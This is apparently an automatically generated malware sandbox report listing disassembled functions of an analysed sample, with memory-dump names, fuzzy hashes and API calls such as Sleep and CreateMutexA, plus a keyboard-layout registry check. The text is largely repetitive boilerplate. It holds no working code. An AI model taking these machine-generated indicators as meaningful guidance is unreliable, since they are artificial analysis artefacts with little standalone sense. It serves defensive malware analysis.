Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: abac933c083912a3b14c50db2e9141c49595581726f02c4a84e8ddbaed9d64e7
Instruction ID: a5ff540a2c721fe65fb1c3beedda06094438887635f49e431648cc5568dbec97
Opcode Fuzzy Hash: abac933c083912a3b14c50db2e9141c49595581726f02c4a84e8ddbaed9d64e7
Instruction Fuzzy Hash: 4AF1C0709002589FEB24DF58DC85BEEBBB9EF44304F504298F918A72C1DB749A84CFA0

Function 00D29BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00D2A963
CreateMutexA.KERNEL32(00000000,00000000,00D83254), ref: 00D2A981

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 59e51a02c51b6df3f835118072b78181d79a299b35eef25b50ca755a03f7c110
Instruction ID: a929ecd69358650a7a3088935aec3ce2ae01bd36ab5874ff2835856c2884f62a
Opcode Fuzzy Hash: 59e51a02c51b6df3f835118072b78181d79a299b35eef25b50ca755a03f7c110
Instruction Fuzzy Hash: A5314631B002048BEB089B7CFC997ADF7B2EBD5318F248219E418973D6C77589808B71

Function 00D29F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00D2A963
CreateMutexA.KERNEL32(00000000,00000000,00D83254), ref: 00D2A981

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2a36b222fc69034b71e9e34ac4e64c0dc777e3dc7ffd3d52968564f482df013d
Instruction ID: 661e0352d32df9e226092ff5b83dc6be83143585498ae7fee5df5a589c5a473f
Opcode Fuzzy Hash: 2a36b222fc69034b71e9e34ac4e64c0dc777e3dc7ffd3d52968564f482df013d
Instruction Fuzzy Hash: 493128317042148BEB189B7CE9997ACB7A2EFD5314F248619E418D73D6D73689808772

Function 00D2A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00D2A963
CreateMutexA.KERNEL32(00000000,00000000,00D83254), ref: 00D2A981

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8da836852bfca8f22f01d022eda777b882107db4b8cc361b9053d2239c7a3e35
Instruction ID: 9f2ece3e19b5868eb0dbf4c087ab67798529281169dcfcdecfef685758ab79d6
Opcode Fuzzy Hash: 8da836852bfca8f22f01d022eda777b882107db4b8cc361b9053d2239c7a3e35
Instruction Fuzzy Hash: 9E314A31B102149BEB089B7CED897ADB772DFD1318F248219E418973D6C73699848B72

Function 00D2A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00D2A963
CreateMutexA.KERNEL32(00000000,00000000,00D83254), ref: 00D2A981

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 215304e7129c8f4efadb78e8984185bf72a0be639bd63371b17cf7ed6449c6c9
Instruction ID: 4b067e21d27cb54de105c6e5291b74964e97af86c0379deb10252d1a19c05192
Opcode Fuzzy Hash: 215304e7129c8f4efadb78e8984185bf72a0be639bd63371b17cf7ed6449c6c9
Instruction Fuzzy Hash: 8B312731B01210DBEB089B6CED8D76DB772EFD6314F248219E014973D6D73689808776

Function 00D2A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00D2A963
CreateMutexA.KERNEL32(00000000,00000000,00D83254), ref: 00D2A981

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 307041d2ac99b9a4a35831a3638964fe883a3bf209763ad4a67983c2e58c54bf
Instruction ID: 728d7991dfbc999d4f960aaa02228af5cbc148c7070d681863a39c53ff43ae87
Opcode Fuzzy Hash: 307041d2ac99b9a4a35831a3638964fe883a3bf209763ad4a67983c2e58c54bf
Instruction Fuzzy Hash: 99313931B002109BEB08AB7CE88DB6DB772EFD1318F248219E428973D6D77589858772

Function 00D2A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00D2A963
CreateMutexA.KERNEL32(00000000,00000000,00D83254), ref: 00D2A981

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
